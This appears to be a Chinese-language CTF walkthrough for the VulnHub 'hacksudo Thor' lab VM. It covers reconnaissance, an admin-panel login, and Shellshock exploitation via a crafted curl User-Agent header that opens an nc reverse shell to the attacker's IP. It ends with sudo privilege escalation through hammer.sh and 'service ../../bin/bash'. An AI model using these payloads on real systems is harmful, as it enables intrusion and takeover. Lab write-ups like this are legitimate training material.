靶机:https://download.vulnhub.com/hacksudo/hacksudo---Thor.zip
难度:中
目标:取得 root 权限 + Flag
一、信息收集
主机发现
1 | sudo arp-scan -l |
端口扫描
1 | sudo nmap -p- 192.168.137.28 |
服务探测
1 | sudo nmap -p21,22,80 192.168.137.28 |
访问80端口
发现登陆页面
尝试弱口令登陆,无果
查看源代码,发现有注释与cgi相关
关于cgi
CGI(Common Gateway Interface)公共网关接口,是外部扩展应用程序与 Web 服务器交互的一个标准接口。服务器端与客户端进行交互的常见方式多,CGI 技术就是其中之一。
https://baike.baidu.com/item/CGI/607810?fromtitle=%EF%BC%A3%EF%BC%A7%EF%BC%A9&fromid=6717913
关于cgi-bin目录
CGI-BIN是一种特殊的目录,在进行交互式的WWW访问(如填写在线表格)时,需要服务器上有 相应的程序对访问者输入的信息进行处理,这些程序就是CGI程序。
https://baike.baidu.com/item/cgi-bin%E7%9B%AE%E5%BD%95/4172160
访问cgi-bin目录
直接访问该目录页面响应403
目录扫描
1 | dirsearch -u http://192.168.137.28 |
访问README.md
访问github地址
文件内说明了前后端及数据库所用的组件,和默认的管理员账号密码
尝试默认密码,结果失败
尝试访问目录扫描结果中的admin_login.php
成功登陆管理员后台
后台信息探测
点击管理账号
发现相关账号密码信息
尝试登陆
登陆成功
发现类似账单的表单
尝试向Jon Snow进行转账(支付密码尝试使用登陆密码)
页面返回结果提示转账成功
再返回查看Jon Snow的账号和密码
尝试登陆Jon Snow 账号,在转账记录中确实存在刚才的转账行为记录
二、破壳漏洞
目前为止后台的信息基本上是停滞了,打开思路,看能否利用破壳漏洞🐣
在shell中,我们可以使用export var="value"
定义环境变量,使用funcname(){ statements }
定义函数.
在版本较旧的bash中存在着这么一种漏洞:export x="(){ :; }; command "
由于bash的解析问题,当创建环境变量时,变量被定义为一个匿名函数,这个时候后面的command
会被立即执行
参考链接:https://blog.csdn.net/xiaoshan812613234/article/details/42147955
在web的/cgi-bin
下的脚本大多数都是用bash此类的shell解析器进行执行的,所以我们可以利用这个方式执行任意的漏洞
那么现在的任务就是找到/cgi-bin
下的脚本并利用
验证想法
漏洞验证
针对cgi目录进行扫描
1 | dirsearch -u http://192.168.137.28/cgi-bin/ -f -e cgi,sh |
PS:因为实验中断暂停所以更换了网络,现在目标靶机的IP为192.168.1.104
访问/cgi-bin/shell.sh 500报错
使用nmap探测
1 | nmap -sV -p80 --script http-shellshock --script-args uri=/cgi-bin/shell.sh,cmd=ls 192.168.1.104 |
1 | nmap -sV -p80 --script http-shellshock --script-args uri=/cgi-bin/backup.cgi,cmd=ls 192.168.1.104 |
验证结果确实存在该漏洞
漏洞利用
通过wireshark分析exp
使用curl
构造特殊的请求包
1 | curl -H "User-Agent: () { :;}; echo; /bin/bash -c 'which nc'" http://192.168.1.104/cgi-bin/shell.sh |
可以成功执行命令
本地监听
1 | curl -H "User-Agent: () { :;}; echo; /bin/bash -c 'nc -e /bin/bash 192.168.1.102 4444'" http://192.168.1.104/cgi-bin/shell.sh |
成功反弹shell
升级为交互式
1 | python3 -c "import pty;pty.spawn('/bin/bash')" |
权限提升
查看有无sudo命令的权限漏洞
1 | sudo -l |
发现此处可以使用Thor用户执行hammer.sh
1 | sudo -u thor /home/thor/./hammer.sh |
发现执行hammer.sh提示要输入密钥 在不知其所以然的情况下 先随意输入 继续流程
发现程序2次输入 第一次是“命名” 第二次是“执行”
可以尝试执行bash命令
成功获取到了Thor用户的权限
仍然是尝试查看有无sudo命令的权限漏洞
1 | sudo -l |
当service命令sudo权限配置不当时可以利用如下命令来提权
1 | sudo /usr/sbin/service ../../bin/bash |
查看flag
彩蛋在proof.txt内